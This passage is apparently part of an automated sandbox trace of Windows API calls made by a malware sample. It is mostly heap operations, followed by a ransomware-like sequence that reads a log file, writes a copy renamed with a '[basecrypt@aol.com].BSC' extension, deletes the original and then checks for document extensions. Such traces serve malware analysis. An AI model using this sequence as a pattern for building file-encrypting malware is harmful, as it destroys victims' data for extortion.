hHeap=0x5c0000) returned 1 [0103.027] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b3448 | out: hHeap=0x5c0000) returned 1 [0103.029] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.097] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.106] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.107] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.202] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.276] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.276] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.340] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.344] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.344] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0103.349] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3c60940 | out: hHeap=0x5c0000) returned 1 [0103.351] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3c60940 | out: hHeap=0x5c0000) returned 1 [0103.385] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3c60940 | out: hHeap=0x5c0000) returned 1 [0103.645] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61c998, Size=0x4000) returned 0x6ae4b0 [0103.651] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6ae4b0, Size=0x8000) returned 0x6ae4b0 [0103.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3c60940 | out: hHeap=0x5c0000) returned 1 [0103.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3c60940 | out: hHeap=0x5c0000) returned 1 [0103.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d3200 | out: hHeap=0x5c0000) returned 1 [0103.971] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0103.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0103.974] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0103.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0103.976] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0103.978] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0103.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0103.979] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0104.230] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0104.244] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0104.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0104.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0104.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0104.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0104.245] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0104.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4343230 | out: hHeap=0x5c0000) returned 1 [0104.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4343230 | out: hHeap=0x5c0000) returned 1 [0104.246] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4343230 | out: hHeap=0x5c0000) returned 1 [0104.834] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4343230 | out: hHeap=0x5c0000) returned 1 [0105.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4343230 | out: hHeap=0x5c0000) returned 1 [0108.155] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4343230 | out: hHeap=0x5c0000) returned 1 [0108.157] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4343230 | out: hHeap=0x5c0000) returned 1 [0108.157] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4343230 | out: hHeap=0x5c0000) returned 1 [0108.157] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4343230 | out: hHeap=0x5c0000) returned 1 [0108.162] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4343230 | out: hHeap=0x5c0000) returned 1 [0108.162] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.165] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.175] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.176] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.176] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.178] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.179] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.180] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.180] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.182] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.182] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.182] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.182] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.185] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.185] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.185] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.185] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.188] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.189] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.191] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0108.192] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0108.195] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0109.018] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0109.018] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0109.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0109.037] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0109.098] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0109.099] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0109.099] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0109.099] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0109.100] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0109.101] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0109.102] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0109.239] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4343230 | out: hHeap=0x5c0000) returned 1 [0109.240] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0109.241] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0109.243] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d3200 | out: hHeap=0x5c0000) returned 1 [0109.243] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0109.298] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4291058 | out: hHeap=0x5c0000) returned 1 [0109.299] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0109.305] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0109.438] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4291058 | out: hHeap=0x5c0000) returned 1 [0109.485] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0109.707] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0109.708] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0109.708] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0109.709] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0109.710] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0109.711] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0109.711] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0109.711] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0109.985] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0110.033] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0110.055] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0110.056] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4291058 | out: hHeap=0x5c0000) returned 1 [0110.899] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4383238 | out: hHeap=0x5c0000) returned 1 [0110.900] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0110.902] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0111.106] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0111.358] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0113.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0114.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4353238 | out: hHeap=0x5c0000) returned 1 [0114.473] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0114.481] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0114.606] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0114.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42f3210 | out: hHeap=0x5c0000) returned 1 [0114.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4291058 | out: hHeap=0x5c0000) returned 1 [0114.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0114.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0114.660] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4353230 | out: hHeap=0x5c0000) returned 1 [0114.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4353230 | out: hHeap=0x5c0000) returned 1 [0114.672] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0115.362] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d3200 | out: hHeap=0x5c0000) returned 1 [0115.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0115.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42d3200 | out: hHeap=0x5c0000) returned 1 [0115.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0115.407] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4363238 | out: hHeap=0x5c0000) returned 1 [0115.410] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4363238 | out: hHeap=0x5c0000) returned 1 [0115.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4363238 | out: hHeap=0x5c0000) returned 1 [0115.424] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0115.428] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0115.456] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0115.463] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0116.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4303218 | out: hHeap=0x5c0000) returned 1 [0116.001] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0116.680] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43a3240 | out: hHeap=0x5c0000) returned 1 [0116.748] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43a3240 | out: hHeap=0x5c0000) returned 1 [0116.765] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43a3240 | out: hHeap=0x5c0000) returned 1 [0116.786] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43a3240 | out: hHeap=0x5c0000) returned 1 [0116.786] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4333228 | out: hHeap=0x5c0000) returned 1 [0116.808] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0116.814] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0116.847] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0116.860] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0116.882] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42e3208 | out: hHeap=0x5c0000) returned 1 [0116.959] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0116.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0116.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0116.963] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0116.969] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42c31f8 | out: hHeap=0x5c0000) returned 1 [0116.972] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43d3258 | out: hHeap=0x5c0000) returned 1 [0116.973] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43d3258 | out: hHeap=0x5c0000) returned 1 [0116.977] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43d3258 | out: hHeap=0x5c0000) returned 1 [0116.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43d3258 | out: hHeap=0x5c0000) returned 1 [0116.993] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43d3258 | out: hHeap=0x5c0000) returned 1 [0116.994] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43d3258 | out: hHeap=0x5c0000) returned 1 [0116.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43d3258 | out: hHeap=0x5c0000) returned 1 [0116.997] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43d3258 | out: hHeap=0x5c0000) returned 1 [0116.999] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43d3258 | out: hHeap=0x5c0000) returned 1 [0117.240] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43d3258 | out: hHeap=0x5c0000) returned 1 [0117.241] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43d3258 | out: hHeap=0x5c0000) returned 1 [0117.243] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43d3258 | out: hHeap=0x5c0000) returned 1 [0117.248] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43d3258 | out: hHeap=0x5c0000) returned 1 Thread: id = 16 os_tid = 0xf3c [0099.842] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3c71228 [0099.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3c81230 [0099.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ab68 [0099.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x64d090 [0099.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ac58 [0099.843] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3e40020 [0099.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ac70 [0099.846] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61ac70, Size=0x20) returned 0x5fec78 [0099.846] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x61ab80 [0099.846] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x61ab80, Size=0x20) returned 0x5feb88 [0099.846] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0099.846] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0099.846] Wow64DisableWow64FsRedirection (in: OldValue=0x33fff50 | out: OldValue=0x33fff50*=0x0) returned 1 [0099.846] lstrlenW (lpString="kernel32.dll") returned 12 [0099.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5fec78 | out: hHeap=0x5c0000) returned 1 [0099.846] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0099.846] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5feb88 | out: hHeap=0x5c0000) returned 1 [0099.846] Sleep (dwMilliseconds=0x64) [0099.997] Sleep (dwMilliseconds=0x64) [0100.240] Sleep (dwMilliseconds=0x64) [0100.433] lstrcmpiW (lpString1=".log", lpString2=".BSC") returned 1 [0100.433] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0100.433] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0100.546] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33fff14 | out: lpFileSize=0x33fff14*=6004) returned 1 [0100.546] CloseHandle (hObject=0x2ec) returned 1 [0100.547] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0100.547] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0100.547] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0100.547] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0100.547] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0100.547] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0100.547] GetLastError () returned 0x0 [0100.547] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x1774, lpOverlapped=0x0) returned 1 [0100.660] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0x1780, lpOverlapped=0x0) returned 1 [0100.661] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x33ffecc*=0x0, lpOverlapped=0x0) returned 1 [0100.661] WriteFile (in: hFile=0x2f4, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x33ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x33ffc94*=0x114, lpOverlapped=0x0) returned 1 [0100.661] SetEndOfFile (hFile=0x2f4) returned 1 [0100.661] CloseHandle (hObject=0x2f4) returned 1 [0101.191] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33ffec0 | out: lpNewFilePointer=0x0) returned 1 [0101.191] SetEndOfFile (hFile=0x2ec) returned 1 [0101.192] CloseHandle (hObject=0x2ec) returned 1 [0101.192] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x20) returned 1 [0101.193] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0101.193] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0101.193] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0101.193] lstrlenW (lpString=".doc") returned 4 [0101.193] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0101.193] lstrlenW (lpString=".docx") returned 5 [0101.193] lstrcmpiW 